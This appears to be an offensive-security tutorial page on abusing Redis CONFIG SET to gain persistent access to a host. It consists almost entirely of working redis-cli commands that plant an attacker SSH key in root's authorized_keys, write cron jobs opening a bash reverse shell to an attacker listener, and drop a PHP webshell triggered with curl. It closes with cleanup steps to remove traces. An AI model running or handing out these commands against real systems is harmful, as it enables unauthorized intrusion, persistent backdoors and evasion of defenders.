Skip to content
HackIndex logo

HackIndex

Redis Persistence via CONFIG SET

4 min read May 6, 2026

Redis's CONFIG SET command lets you change the working directory and the RDB dump filename at runtime. If Redis runs as a privileged user and you have command access, you can write arbitrary files to the filesystem — including SSH authorized keys, cron jobs, and webshells.

This technique requires either unauthenticated access or a known Redis password. No Redis client libraries needed — redis-cli and raw TCP work.

Check Write Capability

Before attempting, confirm Redis will actually write the file — test with a throwaway path:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /tmp
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename test.txt
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET test "hello"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

If no permission errors, Redis can write files. The actual content will be wrapped in RDB format markers — the payload needs to survive them (SSH keys and cron jobs tolerate this; binary payloads do not).

Write SSH Authorized Keys

This is the cleanest approach — places your public key in the target user's authorized_keys so you can SSH in persistently.

Generate a key pair on your attacker box:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t rsa -b 4096 -f /tmp/redis_rsa -N ""

Write the public key to Redis with newlines padding to survive RDB markers:

┌──(kali㉿kali)-[~]
└─$ (echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/redis_key.txt
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT FLUSHALL
┌──(kali㉿kali)-[~]
└─$ cat /tmp/redis_key.txt | redis-cli -h $TARGET_IP -p $PORT -x SET sshkey

Point Redis at the target user's .ssh directory:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /root/.ssh
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename authorized_keys
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

Verify it worked, then connect:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/redis_rsa root@$TARGET_IP

If Redis does not run as root, try /home/$USER/.ssh based on the running process owner. Check with:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG GET dir

Write a Cron Job

Place a cron entry that calls back with a reverse shell. The RDB file format includes extra bytes, but cron ignores lines it cannot parse — the payload line survives.

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Write a cron file:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT FLUSHALL
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET cron "\n\n* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/spool/cron/crontabs
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename root
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

The cron file will be owned by Redis's process user. If Redis runs as root, this gives you a root cron entry. Wait up to 60 seconds for the first execution.

On systems using /etc/cron.d instead:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /etc/cron.d
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename backdoor

The cron syntax in /etc/cron.d requires a username field:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET cron "\n\n* * * * * root bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"

Write a Webshell

If a web server is running on the same host and you can identify the webroot path, write a PHP or other shell:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT FLUSHALL
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT SET shell "<?php system(\$_GET['cmd']); ?>"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/www/html
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename shell.php
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT BGSAVE

Trigger it:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=id"

The RDB markers around the PHP code will cause some garbage output before and after the command result, but the shell executes correctly.

Common webroot paths to try: /var/www/html, /var/www, /srv/http, /usr/share/nginx/html.

Authenticated Redis

If Redis requires a password, prepend -a $PASSWORD to all commands:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT -a $PASSWORD CONFIG SET dir /root/.ssh

Or authenticate inline:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT AUTH $PASSWORD

Clean Up

After establishing the real persistence mechanism, remove the key you set to avoid leaving obvious indicators:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT DEL sshkey
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT DEL cron
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT DEL shell

Restore the original dir and dbfilename to avoid breaking Redis's normal operation:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/lib/redis

References